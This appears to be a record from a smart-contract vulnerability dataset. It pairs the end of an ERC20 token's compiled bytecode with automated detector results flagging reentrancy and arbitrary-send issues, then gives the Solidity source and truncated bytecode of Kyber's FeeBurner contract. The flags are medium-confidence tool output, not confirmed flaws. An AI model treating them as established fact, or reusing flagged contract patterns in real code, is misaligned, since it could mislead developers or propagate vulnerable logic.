82016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201244e1c011c1aabc9c737a45de661ed7dbc71fd6f02067c1aafff90deede95ca64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,915
0x2d25de5790EaDb57BcC141A43e21A5Cf8c3C3fd3
pragma solidity 0.4.18; // File: contracts/FeeBurnerInterface.sol interface FeeBurnerInterface { function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool); } // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/Withdrawable.sol /** * @title Contracts that should be able to recover tokens or ethers * @author Ilan Doron * @dev This allows to recover any tokens or Ethers received in a contract. * This will prevent any accidental loss of tokens. */ contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); /** * @dev Withdraw all ERC20 compatible tokens * @param token ERC20 The address of the token contract */ function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); /** * @dev Withdraw Ethers */ function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } // File: contracts/FeeBurner.sol interface BurnableToken { function transferFrom(address _from, address _to, uint _value) public returns (bool); function burnFrom(address _from, uint256 _value) public returns (bool); } contract FeeBurner is Withdrawable, FeeBurnerInterface, Utils { mapping(address=>uint) public reserveFeesInBps; mapping(address=>address) public reserveKNCWallet; //wallet holding knc per reserve. from here burn and send fees. mapping(address=>uint) public walletFeesInBps; // wallet that is the source of tx is entitled so some fees. mapping(address=>uint) public reserveFeeToBurn; mapping(address=>uint) public feePayedPerReserve; // track burned fees and sent wallet fees per reserve. mapping(address=>mapping(address=>uint)) public reserveFeeToWallet; address public taxWallet; uint public taxFeeBps = 0; // burned fees are taxed. % out of burned fees. BurnableToken public knc; address public kyberNetwork; uint public kncPerETHRate = 300; function FeeBurner(address _admin, BurnableToken kncToken, address _kyberNetwork) public { require(_admin != address(0)); require(kncToken != address(0)); require(_kyberNetwork != address(0)); kyberNetwork = _kyberNetwork; admin = _admin; knc = kncToken; } event ReserveDataSet(address reserve, uint feeInBps, address kncWallet); function setReserveData(address reserve, uint feesInBps, address kncWallet) public onlyAdmin { require(feesInBps < 100); // make sure it is always < 1% require(kncWallet != address(0)); reserveFeesInBps[reserve] = feesInBps; reserveKNCWallet[reserve] = kncWallet; ReserveDataSet(reserve, feesInBps, kncWallet); } event WalletFeesSet(address wallet, uint feesInBps); function setWalletFees(address wallet, uint feesInBps) public onlyAdmin { require(feesInBps < 10000); // under 100% walletFeesInBps[wallet] = feesInBps; WalletFeesSet(wallet, feesInBps); } event TaxFeesSet(uint feesInBps); function setTaxInBps(uint _taxFeeBps) public onlyAdmin { require(_taxFeeBps < 10000); // under 100% taxFeeBps = _taxFeeBps; TaxFeesSet(_taxFeeBps); } event TaxWalletSet(address taxWallet); function setTaxWallet(address _taxWallet) public onlyAdmin { require(_taxWallet != address(0)); taxWallet = _taxWallet; TaxWalletSet(_taxWallet); } function setKNCRate(uint rate) public onlyAdmin { require(rate <= MAX_RATE); kncPerETHRate = rate; } event AssignFeeToWallet(address reserve, address wallet, uint walletFee); event AssignBurnFees(address reserve, uint burnFee); function handleFees(uint tradeWeiAmount, address reserve, address wallet) public returns(bool) { require(msg.sender == kyberNetwork); require(tradeWeiAmount <= MAX_QTY); require(kncPerETHRate <= MAX_RATE); uint kncAmount = tradeWeiAmount * kncPerETHRate; uint fee = kncAmount * reserveFeesInBps[reserve] / 10000; uint walletFee = fee * walletFeesInBps[wallet] / 10000; require(fee >= walletFee); uint feeToBurn = fee - walletFee; if (walletFee > 0) { reserveFeeToWallet[reserve][wallet] += walletFee; AssignFeeToWallet(reserve, wallet, walletFee); } if (feeToBurn > 0) { AssignBurnFees(reserve, feeToBurn); reserveFeeToBurn[reserve] += feeToBurn; } return true; } event BurnAssignedFees(address indexed reserve, address sender, uint quantity); event SendTaxFee(address indexed reserve, address sender, address taxWallet, uint quantity); // this function is callable by anyone function burnReserveFees(address reserve) public { uint burnAmount = reserveFeeToBurn[reserve]; uint taxToSend = 0; require(burnAmount > 2); reserveFeeToBurn[reserve] = 1; // leave 1 twei to avoid spikes in gas fee if (taxWallet != address(0) && taxFeeBps != 0) { taxToSend = (burnAmount - 1) * taxFeeBps / 10000; require(burnAmount - 1 > taxToSend); burnAmount -= taxToSend; if (taxToSend > 0) { require(knc.transferFrom(reserveKNCWallet[reserve], taxWallet, taxToSend)); SendTaxFee(reserve, msg.sender, taxWallet, taxToSend); } } require(knc.burnFrom(reserveKNCWallet[reserve], burnAmount - 1)); //update reserve "payments" so far feePayedPerReserve[reserve] += (taxToSend + burnAmount - 1); BurnAssignedFees(reserve, msg.sender, (burnAmount - 1)); } event SendWalletFees(address indexed wallet, address reserve, address sender); // this function is callable by anyone function sendFeeToWallet(address wallet, address reserve) public { uint feeAmount = reserveFeeToWallet[reserve][wallet]; require(feeAmount > 1); reserveFeeToWallet[reserve][wallet] = 1; // leave 1 twei to avoid spikes in gas fee require(knc.transferFrom(reserveKNCWallet[reserve], wallet, feeAmount - 1)); feePayedPerReserve[reserve] += (feeAmount - 1); SendWalletFees(wallet, reserve, msg.sender); } }
0x60606040526004361061017c5763ffffffff60e060020a60003504166301a12fd381146101815780630a377f3a146101a25780631e4b5652146101dd57806322dbf6d2146101f3578063267822471461022a57806327a099d81461023d5780632b84fe83146102a35780632dc0562d146102c2578063384c4d2f146102d55780633b215823146102f45780633ccdbb2814610307578063408ee7fe1461033057806345ab63b91461034f57806346b8c49e1461036e57806365dfc20f1461039757806375829def146103b957806377f50f97146103d85780637acc8678146103eb5780637c423f541461040a578063820b9f1e1461041d5780639870d7fe146104305780639fad2dcb1461044f578063ac8a584a14610465578063b78b842d14610484578063ce56c45414610497578063dc93f7c9146104b9578063dd3ff4f6146104d8578063e61387e0146104fd578063ea414b2814610510578063f6486cad1461052f578063f851a4401461054e578063fd062d3b14610561575b600080fd5b341561018c57600080fd5b6101a0600160a060020a036004351661059d565b005b34156101ad57600080fd5b6101c1600160a060020a036004351661070d565b604051600160a060020a03909116815260200160405180910390f35b34156101e857600080fd5b6101a0600435610728565b34156101fe57600080fd5b610218600160a060020a036004358116906024351661075f565b60405190815260200160405180910390f35b341561023557600080fd5b6101c161077c565b341561024857600080fd5b61025061078b565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561028f578082015183820152602001610277565b505050509050019250505060405180910390f35b34156102ae57600080fd5b610218600160a060020a03600435166107f4565b34156102cd57600080fd5b6101c1610806565b34156102e057600080fd5b610218600160a060020a0360043516610815565b34156102ff57600080fd5b610218610827565b341561031257600080fd5b6101a0600160a060020a03600435811690602435906044351661082d565b341561033b57600080fd5b6101a0600160a060020a0360043516610924565b341561035a57600080fd5b610218600160a060020a0360043516610a20565b341561037957600080fd5b6101a0600160a060020a036004358116906024359060443516610a32565b34156103a257600080fd5b6101a0600160a060020a0360043516602435610b08565b34156103c457600080fd5b6101a0600160a060020a0360043516610b97565b34156103e357600080fd5b6101a0610c32565b34156103f657600080fd5b6101a0600160a060020a0360043516610ccc565b341561041557600080fd5b610250610dae565b341561042857600080fd5b610218610e14565b341561043b57600080fd5b6101a0600160a060020a0360043516610e1a565b341561045a57600080fd5b6101a0600435610eea565b341561047057600080fd5b6101a0600160a060020a0360043516610f4e565b341561048f57600080fd5b6101c16110ba565b34156104a257600080fd5b6101a0600435600160a060020a03602435166110c9565b34156104c457600080fd5b610218600160a060020a036004351661115c565b34156104e357600080fd5b6101a0600160a060020a036004358116906024351661116e565b341561050857600080fd5b6101c16112de565b341561051b57600080fd5b6101a0600160a060020a03600435166112ed565b341561053a57600080fd5b6101a0600160a060020a0360043516611378565b341561055957600080fd5b6101c1611622565b341561056c57600080fd5b610589600435600160a060020a0360243581169060443516611631565b604051901515815260200160405180910390f35b6000805433600160a060020a039081169116146105b957600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156105e057600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b6005548110156107095781600160a060020a031660058281548110151561062557fe5b600091825260209091200154600160a060020a031614156107015760058054600019810190811061065257fe5b60009182526020909120015460058054600160a060020a03909216918390811061067857fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906106b49060001983016117ec565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a1610709565b600101610602565b5050565b600860205260009081526040902054600160a060020a031681565b60005433600160a060020a0390811691161461074357600080fd5b69d3c21bcecceda100000081111561075a57600080fd5b601155565b600c60209081526000928352604080842090915290825290205481565b600154600160a060020a031681565b610793611815565b60048054806020026020016040519081016040528092919081815260200182805480156107e957602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116107cb575b505050505090505b90565b600a6020526000908152604090205481565b600d54600160a060020a031681565b60076020526000908152604090205481565b600e5481565b60005433600160a060020a0390811691161461084857600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108a557600080fd5b6102c65a03f115156108b657600080fd5b5050506040518051905015156108cb57600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a0390811691161461093f57600080fd5b600160a060020a03811660009081526003602052604090205460ff161561096557600080fd5b6005546032901061097557600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff1916600190811790915560058054909181016109f483826117ec565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b60096020526000908152604090205481565b60005433600160a060020a03908116911614610a4d57600080fd5b60648210610a5a57600080fd5b600160a060020a0381161515610a6f57600080fd5b600160a060020a0383811660009081526007602090815260408083208690556008909152908190208054600160a060020a031916928416929092179091557f999efec8241b9b7a1d9c2d2e207cde178cb3a02ca6a94d070eecb369674ead6f9084908490849051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a03908116911614610b2357600080fd5b6127108110610b3157600080fd5b600160a060020a038216600090815260096020526040908190208290557f19f0c31fd2313f709ad6b9f15595720ff5765b72b394025288ac4f355fee0952908390839051600160a060020a03909216825260208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610bb257600080fd5b600160a060020a0381161515610bc757600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a03908116911614610c4d57600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a03908116911614610ce757600080fd5b600160a060020a0381161515610cfc57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610db6611815565b60058054806020026020016040519081016040528092919081815260200182805480156107e957602002820191906000526020600020908154600160a060020a031681526001909101906020018083116107cb575050505050905090565b60115481565b60005433600160a060020a03908116911614610e3557600080fd5b600160a060020a03811660009081526002602052604090205460ff1615610e5b57600080fd5b60045460329010610e6b57600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff1916600190811790915560048054909181016109f483826117ec565b60005433600160a060020a03908116911614610f0557600080fd5b6127108110610f1357600080fd5b600e8190557f560f2dab6b3f89e548b63a9eabb6e43ec0e70bb81bdc69e5dc578c72bab629f58160405190815260200160405180910390a150565b6000805433600160a060020a03908116911614610f6a57600080fd5b600160a060020a03821660009081526002602052604090205460ff161515610f9157600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b6004548110156107095781600160a060020a0316600482815481101515610fd657fe5b600091825260209091200154600160a060020a031614156110b25760048054600019810190811061100357fe5b60009182526020909120015460048054600160a060020a03909216918390811061102957fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560048054600019019061106590826117ec565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a1610709565b600101610fb3565b601054600160a060020a031681565b60005433600160a060020a039081169116146110e457600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561111557600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600b6020526000908152604090205481565b600160a060020a038082166000908152600c6020908152604080832093861683529290522054600181116111a157600080fd5b600160a060020a038083166000818152600c602090815260408083208886168452825280832060019055600f54938352600890915280822054928416936323b872dd931691879160001987019190516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561124357600080fd5b6102c65a03f11515611